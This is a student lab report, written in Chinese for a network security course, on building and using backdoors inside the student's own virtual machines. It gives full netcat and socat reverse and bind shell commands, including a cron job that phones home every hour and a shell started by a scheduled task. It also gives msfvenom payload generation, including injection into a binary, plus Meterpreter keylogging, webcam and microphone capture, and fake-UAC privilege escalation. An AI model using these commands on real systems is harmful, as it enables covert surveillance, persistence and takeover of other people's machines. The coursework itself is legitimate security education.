1.实验内容
(1)学习使用netcat监听端口,反弹链接到主机并获得shell;
(2)使用netcat在liunx主机上增加一个定时任务,并学习使用socat;
(3)使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell;
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权;
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
- 回答基础问题:
(1)列举你能想到的一个后门进入到你系统中的可能方式?
通过某些盗版软件,在我执行可执行文件的时候植入后门,或者在硬件上,比如在加装硬盘的时候直接将后门文件放在硬盘中。
(2)列举你知道的后门如何启动起来(win及linux)的方式?
通过netcat反弹链接,或者在corn中植入定时任务,使其定时反弹链接到攻击机。
(3)Meterpreter有哪些给你印像深刻的功能?
首先就是使用非常方便,而且功能十分强大,只要几个单词就能调用截屏和摄像头,甚至还能伪造询问窗口来进行提权,如果真的被这个渗透后果简直不敢想象。
(4)如何发现自己的系统有没有被安装后门?
时不时看看任务管理器,看看有没有陌生的进程在工作,但最主要的还是使用360等杀毒软件来查杀检测后门。
2.实验过程
(一)使用netcat监听端口,反弹链接主机并获得shell,然后增加一个定时任务。
- 使用netcat监听端口,反弹链接获得shell
先查看Windows主机的IP地址,作为攻击机
可见IP地址为192.168.110.1
接着使用netcat监听端口,在攻击机的终端上输入ncat.exe -l -p 5205指令来监听5205端口。其中-l参数指监听,-p是指定端口。
然后进入kali,登入root用户,输入ncat 192.168.110.1 5205 -e /bin/sh,让被攻击机kali主动链接攻击机,其中-e的意思是如果如果建立连接,就执行后续文件,在这里是bin/sh,也就是shell
可见已经获得了shell,攻击机能够查看我home/kali下的文件。
然后我又尝试了使用netcat监听和传输数据
- 增加一个定时任务
进入kali的root用户,输入crontab -e来设定时程表。选择/usr/bin/vim.basic,输入i进入插入模式,输入40 * * * */bin/netcat 192.168.110.1 5205 -e bin/sh(每小时第四十分钟启动netcat反弹链接并运行shell)
然后只需要在Windows上持续监听5205端口,在四十分的时候就会获得kali的shell
(二)学习使用socat
Win+R输入compmgmt.msc打开“计算机管理”,在“任务计划程序”中“创建任务”,新建一个触发器,设置为工作占锁定时触发,并且在程序或脚本中选择自己的socat.exe文件的路径,在添加参数填写tcp-listen:5205 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5205,同时把cmd.exe的stderr重定向到stdout上
可见成功创建。
然后使用win+L锁定计算机,再次打开,发现任务正在执行,并且弹出警告窗口,这时在kali上输入socat - tcp:192.168.110.1:5205,就可以成功获得主机的shell
(三)使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
首先关闭防火墙和实时保护功能。并在kali下使用ifconfig查看IP地址
输入 msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.110.130 LPORT=8888 -f exe > 20232305backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个exe文件中。)
其中
LHOST=192.168.110.1是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
20232305backdoor.exe即生成的恶意可执行文件
然后将恶意文件传到主机上,kali中输入nc 192.168.110.1 8888 < 2411backdoor.exe
这里我存放到了E盘中。
可见成功传输。
配置监听模块:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.110.130(攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
然后输入exploit运行监听模块,并在Windows上启动20232305backdoor.exe
可见成功获得主机的shell
(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(1)获得主机音频、摄像头、键盘、截屏。
在exploit继续输入下面命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
下面是得到的截屏,拍照的图片,以及音频和键盘记录,其中图片和音频保存在home/kali文件夹下,键盘记录直接显示在屏幕上
(2)尝试提权
正常情况下,在exploit输入getsystem会失败,所以我通过在windows下伪造一个UAC确认窗口,欺骗用户点击,从而获取权限。
在exploit输入下面代码
background
use exploit/windows/local/ask
set SESSION 1
set FILENAME QQUpdater.exe (显示的应用程序的名字)
run
然后输入getsystem
可见成功提权。
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali下输入下面命令行
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=8888 -x /home/kali/pwn1 -f elf > pwn2305
(使用了msfvenom工具生成一个Meterpreter 反向TCP shell的payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为pwn2305的文件中)
然后输入msfconsole进入msf,然后重新输入模块
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.222.129
set LPORT 8888
这里我想用另一个Linux下的shell,所以payload使用linux下的
重现另开一个shell,运行pwn2305
可见成功获得了shell
3.问题及解决方案
- 问题1:在使用crontab定时链接到Windows的时候,发现能够成功链接,但是输入ls后什么都不出现,然后我反复检查了命令的正确性,然后询问AI,发现都没有问题。于是我想到有没有可能就是因为这个文件夹下没有任何文件,于是我在成功链接后输入pwd,发现能够反馈文件,说明就是因为我反弹连接到的文件夹下就是没有任何东西。
4.学习感悟、思考等
完成此次实验后,给我最大的感受就是平时在使用电子设备时不能乱下软件,尤其是免费的或者盗版的软件,这样很容易在不知不觉中就在电脑上植入后门,自己还完全无法察觉,只能依赖防火墙和病毒查杀软件。毕竟免费的才是最贵的。虽然如此,在使用msf的时候全程都是在关闭Windows的防火墙和实时保护下进行的,如果没有关闭,估计也无法成功获得摄像头等权限,这也给我一种魔高一尺,道高一丈的感觉。
参考资料
- https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x22_MAL_后门进阶应用Meterprter.md
- https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x21_MAL_后门原理与实践.md
- https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x20_MSF_Metasploit框架基础.md